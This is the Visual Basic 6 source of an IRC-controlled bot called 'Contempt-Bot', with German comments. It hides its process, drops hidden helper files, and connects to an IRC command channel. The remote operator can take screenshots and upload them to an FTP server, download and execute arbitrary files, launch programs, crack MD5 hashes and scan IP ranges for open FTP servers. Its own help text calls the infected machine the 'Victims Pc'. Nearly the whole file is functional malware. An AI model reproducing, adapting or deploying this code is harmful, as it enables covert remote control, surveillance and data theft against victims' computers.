Dim channel        As String 
Dim server          As String 
Dim port            As Integer 
Dim ftpserver      As String 
Dim benutzername    As String 
Dim passwort        As String 
Private pubsearch As String 
Private TimerCount As Long 
Private count2 As String 
Dim bError As Boolean 
Dim IP As String 
Dim abort As String 
 
Private Declare Function BmpToJpeg Lib "Bmp2Jpeg.dll" (ByVal BmpFilename As String, ByVal JpegFilename As String, ByVal CompressQuality As Integer) As Integer 
 
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) 'SLEEPFUNKTION 
 
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _ 
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal _ 
szFileName As String, ByVal dwReserved As Long, ByVal ipfnCB As Long) As Long 'WEBDOWNLOAD 
 
Private Declare Sub keybd_event Lib "user32" ( _ 
  ByVal bVk As Byte, _ 
  ByVal bScan As Byte, _ 
  ByVal dwFlags As Long, _ 
  ByVal dwExtraInfo As Long) 
 
'SHELLEXECUTE 
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long 
Public Function RegRead(Path As String) As String 'LAND AUSLESES 
  Dim ws As Object 
 
  Set ws = CreateObject("WScript.Shell") 
  RegRead = ws.RegRead(Path) 
  Exit Function 
 
 
End Function 
 
Private Sub Form_Load() 
 
App.TaskVisible = False 
Dim options2          As String * 100 
Dim options          As String * 1000 
Dim cmd()            As String 
Dim buffer2()        As Byte 
Dim buffer3()        As Byte 
 
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 
  Get #1, (LOF(1) - 999), options 
    Close #1 
    
    cmd() = Split(options, "|") 
  server = cmd(0) 
    port = cmd(1) 
    channel = cmd(2) 
    ftpserver = cmd(3) 
    benutzername = cmd(4) 
    passwort = cmd(5) 
  
  
 
  On Error Resume Next 
  Kill "C:\Windows\Bmp2Jpeg.dll" 
  
  buffer3 = LoadResData(102, "CUSTOM") 
  Open "C:\Windows\Bmp2Jpeg.dll" For Binary As #1 
    Put #1, , buffer3() 
    Close #1 
  
  
  
  buffer2 = LoadResData(101, "CUSTOM") 
  options2 = App.Path & "\" & App.EXEName & ".exe" & "#" 
  
  Open "restarter.exe" For Binary As #1 
    Put #1, , buffer2() 
    Close #1 
  
  Open "restarter.exe" For Binary As #1 
    Put #1, (LOF(1) + 1), options2 
    Close #1 
    
  SetAttr "restarter.exe", vbHidden + vbSystem 
  
  
    Timerconnect.Enabled = True 
 
 
End Sub 
 
Private Sub Inetpub_StateChanged(ByVal State As Integer) 
 
If State = 7 Then 
MsgBox State 
  send "privmsg " + channel + " : " + "Pub gefunden : " & pubsearch 
End If 
End Sub 
 
Private Sub Timer1_Timer() 
 
If TimerCount < count2 Then 
Dim buffer5() As Byte 
Dim screenname As String 
Me.Visible = False 
DoEvents 
Clipboard.Clear 
keybd_event vbKeySnapshot, 0, 0, 0 
DoEvents 
keybd_event vbKeySnapshot, 0, &H2, 0 
DoEvents 
ScreenCapture.Picture = Clipboard.GetData(vbCFBitmap) 
DoEvents 
Me.Visible = True 
Me.Refresh 
Screen.MousePointer = vbHourglass 
screenname = Int(100000000 * Rnd) + 1 
Text13.Text = screenname 
Text14.Text = screenname 
SavePicture ScreenCapture.Picture, "C:\Programme\" & screenname & ".bmp" 
BmpToJpeg "C:\Programme\" & screenname & ".bmp", "C:\Programme\" & screenname & ".jpg", 50 
send "privmsg " + channel + " : " + "Screen " & screenname & " erstellt " 
  
Timerupload.Enabled = True 
TimerCount = TimerCount + 1 
 
 
Else 
Timer1.Enabled = False 
send "privmsg " + channel + " : " + "Auto Screen beendet..." 
End If 
 
End Sub 
 
 
 
Private Sub Timer2_Timer() 
Open "C:\Programme\Range.txt" For Input As #1 
Do Until EOF(1) 
Line Input #1, pubsearch 
On Error Resume Next 
 
Inetpub.AccessType = icUseDefault 
Inetpub.Protocol = icFTP 
Inetpub.RemotePort = "21" 
Inetpub.URL = pubsearch 
Inetpub.UserName = "anonymous" 
Inetpub.Password = "Contempt@web.de" 
Inetpub.Execute 
Loop 
Close 
Timer2.Enabled = False 
End Sub 
 
Private Sub Timerconnect_Timer() 
Winsock1.Close 
Winsock1.Connect server, port 
 
Timerconnect.Enabled = False 
 
End Sub 
 
 
 
Private Sub Timerdel_Timer() 
On Error Resume Next 
  Kill "C:\Programme\Range.txt" 
  send "privmsg " + channel + " : " + "Publist geloescht!  ..." 
  Timerdel.Enabled = False 
End Sub 
 
Private Sub Timerdisconnect_Timer() 
Winsock1.Close 
End 
 
End Sub 
 
 
 
Private Sub Timerrecon_Timer() 
Winsock1.Close 
 
Timerconnect.Enabled = True 
Timerrecon.Enabled = False 
End Sub 
 
 
Private Sub timerrestart_Timer() 
End 
 
End Sub 
 
Private Sub Timerupload_Timer() 
 
Dim sLocalFile As String 
Dim sRemoteFile As String 
bError = False 
With Inet1 
  .AccessType = icUseDefault 
 
  .Protocol = icFTP 
  .RemotePort = "21" 
  
  
.URL = ftpserver 
.UserName = benutzername 
.Password = passwort 
 
  sLocalFile = "C:\Programme\" & Text13.Text & ".jpg" 
 
  sRemoteFile = "/" & Text14.Text & ".jpg" 
 
.Execute , "PUT " & sLocalFile & " " & sRemoteFile 
    
    
Do While .StillExecuting And Not bError 
    DoEvents 
  Loop 
 
 
 
 
  If Not bError Then 
    
send "PRIVMSG " + channel + " :" + "Screen " & sLocalFile & " geupped :)" 
  Else 
    
    send "PRIVMSG " + channel + " :" + "Fehler beim Upload! :(" 
    send "PRIVMSG " + channel + " :" + "ResponseCode : " & .ResponseCode 
    send "PRIVMSG " + channel + " :" + "ResponseInfo : " & .ResponseInfo 
    
    
  End If 
End With 
 
 
Timerupload.Enabled = False 
On Error Resume Next 
Kill "C:\Programme\" & Text13.Text & ".jpg" 
On Error Resume Next 
Kill "C:\Programme\" & Text13.Text & ".bmp" 
 
End Sub 
Private Sub Inet1_StateChanged(ByVal State As Integer) 
 
  If State = icError Then 
    bError = True 
  End If 
End Sub 
Private Sub timerwait_Timer() 
abort = True 
 
send "privmsg " + channel + " : " + "Scan beendet... :)" 
  On Error Resume Next 
scanshow 
 
'########################## 
'########################## 
'########################### 
'########################## 
 
 
Timer2.Enabled = True 
 
  timerwait.Enabled = False 
 
 
End Sub 
 
Private Sub timerwelcome_Timer() 
send "privmsg " + channel + " : " + " ____    _____  __  __  __                              __      " 
send "privmsg " + channel + " : " + "/\  _`\  /\  __`\/\ \/\ \/\ \__                          /\ \__  " 
send "privmsg " + channel + " : " + "\ \ \/\_\\ \ \/\ \ \ `\\ \ \ ,_\    __    ___ ___  _____\ \ ,_\  " 
send "privmsg " + channel + " : " + " \ \ \/_/_\ \ \ \ \ \ , ` \ \ \/  /'__`\/' __` __`\/\ '__`\ \ \/  " 
send "privmsg " + channel + " : " + "  \ \ \L\ \\ \ \_\ \ \ \`\ \ \ \_/\  __//\ \/\ \/\ \ \ \L\ \ \ \_ " 
send "privmsg " + channel + " : " + "  \ \____/ \ \_____\ \_\ \_\ \__\ \____\ \_\ \_\ \_\ \ ,__/\ \__\" 
send "privmsg " + channel + " : " + "    \/___/  \/_____/\/_/\/_/\/__/\/____/\/_/\/_/\/_/\ \ \/  \/__/" 
send "privmsg " + channel + " : " + "                                                      \ \_\      " 
send "privmsg " + channel + " : " + "                                                      \/_/      " 
send "privmsg " + channel + " : " + "                          ____            __                    " 
send "privmsg " + channel + " : " + "                          /\  _`\        /\ \__                  " 
send "privmsg " + channel + " : " + "                          \ \ \L\ \    ___\ \ ,_\                " 
send "privmsg " + channel + " : " + "                          \ \  _ <'  / __`\ \ \/                " 
send "privmsg " + channel + " : " + "                            \ \ \L\ \/\ \L\ \ \ \_                " 
send "privmsg " + channel + " : " + "                            \ \____/\ \____/\ \__\              " 
send "privmsg " + channel + " : " + "                              \/___/  \/___/  \/__/ © by Neo2k8  " 
                        
timerwelcome.Enabled = False 
End Sub 
 
Private Sub Winsock1_Close() 
Timerconnect.Enabled = True 
End Sub 
 
Private Sub Winsock1_Connect() 
Dim sname As String 
sname = "NICK " & "CONtempt214" & vbCrLf 
 
    With Winsock1 
            .SendData sname 
            .SendData "USER TEST TEST TEST TEST" & vbCrLf 
    End With 
    timerwelcome.Enabled = True 
End Sub 
Sub send(msg$) 
On Error Resume Next 'wenn fehler, dann gehe weiter 
    ' 
        Winsock1.SendData msg$ + vbCrLf  'send the data, along with a cariage return and a line feed 
Exit Sub    ' 
 
End Sub 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 
    On Error Resume Next 
  
    Dim data            As String 
    Dim arrdata()      As String 
    Dim I              As Long 
    Dim msg()          As String 
    Dim command        As String 
    Dim dat()          As String 
    Dim com            As String 
    Dim lpos            As Long 
    Dim lposausgabe      As String 
    
Winsock1.GetData data, vbString 
  
            If InStr(data, "PING") = 1 Then 
                Winsock1.SendData "PONG " & Split(data, " ")(1) 
            End If 
        
            If data Like "*376*" Then 
                Winsock1.SendData "JOIN " & channel & vbCrLf 
            End If 
 
  
  
        arrdata = Split(data, vbCrLf) 
        
For I = 0 To UBound(arrdata) - 1 
 
msg = Split(arrdata(I), channel & " :") 
command = msg(1) 
 
 
txteingang.Text = txteingang.Text & vbCrLf & command 
 
Select Case command 
  Case "hi" 
    send "PRIVMSG " + channel + " :" + "Hallo, wie lauten deine Befehle?" 
      
  Case "thx" 
    send "PRIVMSG " + channel + " :" + "Gern geschehen ;)" 
    
    Case "danke" 
    send "PRIVMSG " + channel + " :" + "Gern geschehen ;)" 
    
  Case "lol" 
    send "PRIVMSG " + channel + " :" + ";-)" 
 
  Case "wie gehts?" 
        send "PRIVMSG " + channel + " :" + "Mir geht es sehr gut und dir?" 
 
  Case "auch gut" 
      send "PRIVMSG " + channel + " :" + "Das finde ich wunderbar :-)" 
      
  Case "auch" 
      send "PRIVMSG " + channel + " :" + "Das finde ich wunderbar :-)" 
 
      
  
 
Case "-help-" 
        send "PRIVMSG " + channel + " :" + "[+]msgbox [Text] | [Shows an Msgbox on Victims Pc]"        'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]start [Pfad] | [Start Tool or Site]"  'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]say [Text] | [Say a Text]"          'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]spam [anzahl] | [Spams the Channel]"            'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]update [Pfad] | [Webdownloader + Execut this File]" 'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]where | [Where the Bot is]"  'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]pub.help | [Pub Scanner help]"  'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]crack.help | [MD5-Cracker help]" 'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]getscreen [screenname] | [Makes a Screenshot + Upload to your FTP]" 'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]getscreen.auto [anzahl] | [Makes every 10sec a Screenshot + Upload to your FTP]" 'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]credits | [Shows Credits ]" 'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]help | [Shows Help]"            'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]version | [Shows Version]"          'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]quit | [Close the Bot]"      'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]recon | [Reconnect the Bot]"      'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]restart | [Restart the Bot]" 'FERTIG 
      
      
      
      
      
 
Case "-version-" 
        send "PRIVMSG " + channel + " :" + "Contempt-Bot Beta 2.1.4" 
 
Case "-crack.help-" 
        send "PRIVMSG " + channel + " :" + "[+]crack [Cracked MD5 Hash]" 'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]show.cracked [Zeigt gecrackte Hashes an]" 'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]show.hashlist [Zeigt Hash Datenbank an]" 
        send "PRIVMSG " + channel + " :" + "[+]hash.list.del [Löscht Datenbanken]" 
 
Case "-pub.help-" 
        send "PRIVMSG " + channel + " :" + "[+]pub.scan [Scannt nach Pubs]" 'FERTIG 
        send "PRIVMSG " + channel + " :" + "[+]pub.stop [Stopt Pub scan]" 'FERTIG' 
        send "PRIVMSG " + channel + " :" + "[+]pub.list.del [Löscht Scan Log]" 'FERTIG' 
        
Case "-quit-" 
        send "PRIVMSG " + channel + " :" + "bye :)" 
      Timerdisconnect.Enabled = True 
 
Case "-recon-" 
        send "PRIVMSG " + channel + " :" + "Reconnecte... ;)" 
      Timerrecon.Enabled = True 
        
Case "-restart-" 
        send "PRIVMSG " + channel + " :" + "Restarte... ;)" 
        ws.Close 
        Shell "C:\Programme\restarter.exe" 
        timerrestart.Enabled = True 
        
Case "-credits-" 
        send "PRIVMSG " + channel + " :" + "CREDITS" 
        send "PRIVMSG " + channel + " :" + "-------" 
        send "PRIVMSG " + channel + " :" + "Greetz goes to: Sph1nX, Perforin, ringwrath-4, Rayden" 
        send "PRIVMSG " + channel + " :" + "DarK-CodeZ ---> www.Dark-Codez.org ,visit it" 
 
End Select 
        
Next I 
'MSGBOX ##################################################### 
If InStr(command, "-msgbox-") = 1 Then 
    send "Privmsg " + channel + " : " + "Msgbox gesendet" 
        lpos = InStr(command, " ") 
        lposausgabe = Mid(command, 9) 
    MsgBox lposausgabe 
      End If 
'MSGBOX END ################################################# 
 
'START ###################################################### 
If InStr(command, "-start-") = 1 Then 
send "privmsg " + channel + " : " + "Erfolgreich gestartet" 
lpos = InStr(command, " ") 
lposausgabe = Mid(command, 9) 
 
Dim Result& 
Result = ShellExecute(Me.hwnd, "Open", _ 
lposausgabe, "", App.Path, 1) 
 
 
End If 
'START END ################################################### 
 
'SPAM ########################################################## 
If InStr(command, "-spam-") = 1 Then 
        lpos = InStr(command, " ") 
        lposausgabe = Mid(command, 8) 
    Dim zahl As Long 
        zahl = lposausgabe 
        For I = 0 To zahl 
        send "privmsg " + channel + " : " + "I am a IRC Bot coded in Vb6." 
        send "privmsg " + channel + " : " + "Neo2k8 gone WILD" 
        send "privmsg " + channel + " : " + "Neo2k8 gone WILD" 
        send "privmsg " + channel + " : " + "VISIT http://www.Codeware.dl.am" 
        Next I 
      End If 
 
'SPAM END######################################################################### 
 
'SAY ############################################################################# 
If InStr(command, "-say-") = 1 Then 
        lpos = InStr(command, " ") 
        lposausgabe = Mid(command, 7) 
        send "privmsg " + channel + " : " + lposausgabe 
        End If 
'SAY END ############################################################################## 
 
 
'SCREEN TO FTP ######################################################################### 
If InStr(command, "-getscreen-") = 1 Then 
        lpos = InStr(command, " ") 
        lposausgabe = Mid(command, 13) 
        send "privmsg " + channel + " : " + "Screen " & lposausgabe & " erstellt" 
        
Me.Visible = False 
DoEvents 
    Clipboard.Clear 
        keybd_event vbKeySnapshot, 0, 0, 0 
            DoEvents 
                keybd_event vbKeySnapshot, 0, &H2, 0 
                    DoEvents 
                        ScreenCapture.Picture = Clipboard.GetData(vbCFBitmap) 
                            DoEvents 
                        Me.Visible = True 
                    Me.Refresh 
                Screen.MousePointer = vbHourglass 
            SavePicture ScreenCapture.Picture, "C:\Programme\" & lposausgabe & ".bmp" 
            
            On Error Resume Next 
BmpToJpeg "C:\Programme\" & lposausgabe & ".bmp", "C:\Programme\" & lposausgabe & ".jpg", 50 
            
    Timerupload.Enabled = True 
        
        Text13.Text = lposausgabe 
        Text14.Text = lposausgabe 
        
        End If 
'END SCREEN TO FTP ######################################################################### 
 
 
'SCREEN AUTO ################################################################# 
 
If InStr(command, "-getscreen.auto-") = 1 Then 
        lpos = InStr(command, " ") 
        lposausgabe = Mid(command, 18) 
        
      TimerCount = 0 
      
        count2 = lposausgabe 
Timer1.Enabled = True 
        
      End If 
        
        
 
'LAND AUSLESEN########################################################################## 
If InStr(command, "-where-") = 1 Then 
Dim Inhalt As String 
 
  Inhalt = RegRead("HKEY_CURRENT_USER\Control Panel\International\sCountry") 
  send "privmsg " + channel + " : " + "[+]Where : " + Inhalt 
  End If 
 
'LANDAUSLESEN ENDE ###################################################################### 
 
'UPDATE ###################################################### 
If InStr(command, "-update-") = 1 Then 
send "privmsg " + channel + " : " + "Update... :)" 
lpos = InStr(command, " ") 
lposausgabe = Mid(command, 10) 
 
Returnvalue = URLDownloadToFile(0, lposausgabe, "C:\a.exe", 0, 0) 
 
 
Dim Result1& 
Result1 = ShellExecute(Me.hwnd, "Open", _ 
"C:\a.exe", "", App.Path, 1) 
 
send "privmsg " + channel + " : " + "Erfolgreich ausgeführt... :)" 
 
End If 
'UPDATE END ################################################### 
 
 
'CRACKER ###################################################### 
If InStr(command, "-crack-") = 1 Then 
lpos = InStr(command, " ") 
lposausgabe = Mid(command, 9) 
Text3.Text = lposausgabe 
 
 
 
Returnvalue = URLDownloadToFile(0, "http://www.milw0rm.com/mil-dic.php", "C:\Programme\mildic.txt", 0, 0) 
 
 
 
Dim wort As String, buffer As String, buffer2 As String 
Dim oMD5 As CMD5 
    Set oMD5 = New CMD5 
        Dim s As String 
            Dim hash As String 
 
Open "C:\Programme\mildic.txt" For Input As #1 
Open "C:\Programme\mildic2.txt" For Output As #2 
 
Do Until EOF(1) 
    Line Input #1, buffer 
        wort = Mid(buffer, 1) 
          s = wort 
            Me.Cls 
              hash = oMD5.MD5(s) 
Print #2, hash & " " & wort 
              
              Loop 
              Close 
              
            
              
              Dim IP As String, blub As String, ausgabewort As String 
              Open "C:\Programme\mildic2.txt" For Input As #1 
              Do Until EOF(1) 
Line Input #1, buffer 
IP = Mid(buffer, 1, InStr(1, buffer, " ", vbTextCompare)) 
 
Text2.Text = IP 
blub = lposausgabe & " " 
If LCase(Text2.Text) = LCase(blub) Then 
 
ausgabewort = Mid(buffer, 33) 
 
send "privmsg " + channel + " : " + "Hash cracked... ;)" 
send "privmsg " + channel + " : " + "Plain-Text is : " & ausgabewort & " ;)" 
 
End If 
Loop 
Close 
Open "C:\Programme\Hashlist.txt" For Append As #1 
Print #1, Text3.Text & " : " & ausgabewort 
Close #1 
End If 
 
 
If InStr(command, "-show.cracked-") = 1 Then 
Dim list As String 
Open "C:\Programme\Hashlist.txt" For Input As #1 
    Do Until EOF(1) 
        Line Input #1, list 
        send "privmsg " + channel + " : " + list 
        Loop 
        Close 
    End If 
    
    If InStr(command, "-show.hashlist-") = 1 Then 
Dim list2 As String 
Open "C:\Programme\mildic2.txt" For Input As #1 
    Do Until EOF(1) 
        Line Input #1, list2 
        send "privmsg " + channel + " : " + list2 
        Loop 
        Close 
    End If 
    
If InStr(command, "-hash.list.del-") = 1 Then 
On Error Resume Next 
Kill "C:\Programme\mildic2.txt" 
Kill "C:\Programme\mildic.txt" 
Kill "C:\Programme\Hashlist.txt" 
send "privmsg " + channel + " : " + "Hash Datenbanken geloescht! ..." 
End If 
 
 
'CRACKER END ################################################### 
 
 
'PUB SCANNER ###################################################### 
 
If InStr(command, "-pub.scan-") = 1 Then 
Dim suche As String, suche2 As String 
 
lpos = InStr(command, " ") 
lposausgabe = Mid(command, 12) 
 
Dim lol As String, lol1 As String 
    
  
    Dim xa() As String 
    xa = Split(lposausgabe, "-") 
  
    Dim aaa As Long 
    For aaa = LBound(xa) To UBound(xa) 
  lol = xa(0) 
    lol1 = xa(1) 
  Next aaa 
  
  Dim ipaaa As String 
    ipaaa = lol 
  
    Dim x() As String 
    x = Split(ipaaa, ".") 
  
    Dim a As Long 
    For a = LBound(x) To UBound(x) 
        Text4.Text = x(0) 
        Text5.Text = x(1) 
            Text6.Text = x(2) 
              Text7.Text = x(3) 
              Text7.Text = Text7.Text - 1 
    Next a 
  
  Dim ipa As String 
    ipa = lol1 
  
    Dim xb() As String 
    xb = Split(ipa, ".") 
  
    Dim b As Long 
    For b = LBound(xb) To UBound(xb) 
        Text8.Text = xb(0) 
          Text9.Text = xb(1) 
            Text10.Text = xb(2) 
              Text11.Text = xb(3) 
    Next b 
    Text12.Text = "" 
    IP = "" 
  Call cmdStartStop_Click 
  
Exit Sub 
  End If 
  
  If InStr(command, "-pub.stop-") = 1 Then 
 
Text12.Text = "" 
    timerwait.Enabled = True 
    IP = "" 
    Exit Sub 
  End If 
  If InStr(command, "-pub.list.del-") = 1 Then 
  Timerdel.Enabled = True 
  End If 
  End Sub 
  Function scanshow() 
  Dim auslese4 As String 
 
  Open "C:\Programme\Range.txt" For Input As #1 
  Do Until EOF(1) 
  Line Input #1, auslese4 
  send "privmsg " + channel + " : " + "Port 21 ist offen : " & auslese4 
  Loop 
  Close 
  End Function 
Private Sub cmdStartStop_Click() 
  
    abort = False 
    tmr.Interval = txtTime.Text 
    NextIP 
    On Error Resume Next 
    Kill "C:\Programme\Range.txt" 
  
  
End Sub 
Sub NextIP() 
If abort Then Exit Sub 
Increment 
IP = Text4.Text & "." & Text5.Text & "." & Text6.Text & "." & Text7.Text 
 
ws.Close 
ws.Connect IP, 21 
send "privmsg " + channel + " : " + "Scanne " & IP 
tmr.Enabled = True 
 
End Sub 
Function Increment() 
 
Text7.Text = Text7.Text + 1 
 
If Text7.Text > 255 Then 
Text6.Text = Text6.Text + 1 
Text7.Text = 0 
End If 
 
If Text6.Text > 255 Then 
Text5.Text = Text5.Text + 1 
Text6.Text = 0 
End If 
 
If Text5.Text > 255 Then 
Text4.Text = Text4.Text + 1 
Text5.Text = 0 
End If 
 
If Text4.Text & Text5.Text & Text6.Text & Text7.Text = Text8.Text & Text9.Text & Text10.Text & Text11.Text Then 
abort = True 
 
timerwait.Enabled = True 
tmr.Enabled = False 
 
 
End If 
End Function 
 
Private Sub tmr_Timer() 
tmr.Enabled = False 
NextIP 
End Sub 
Private Sub ws_Connect() 
 
    tmr.Enabled = False 
    
    Text12.Text = Text12.Text & vbCrLf & IP 
    Open "C:\Programme\Range.txt" For Append As #1 
    Print #1, IP 
    Close 
    ws.Close 
    NextIP 
End Sub 
 
'PUB SCANNER END #################################################################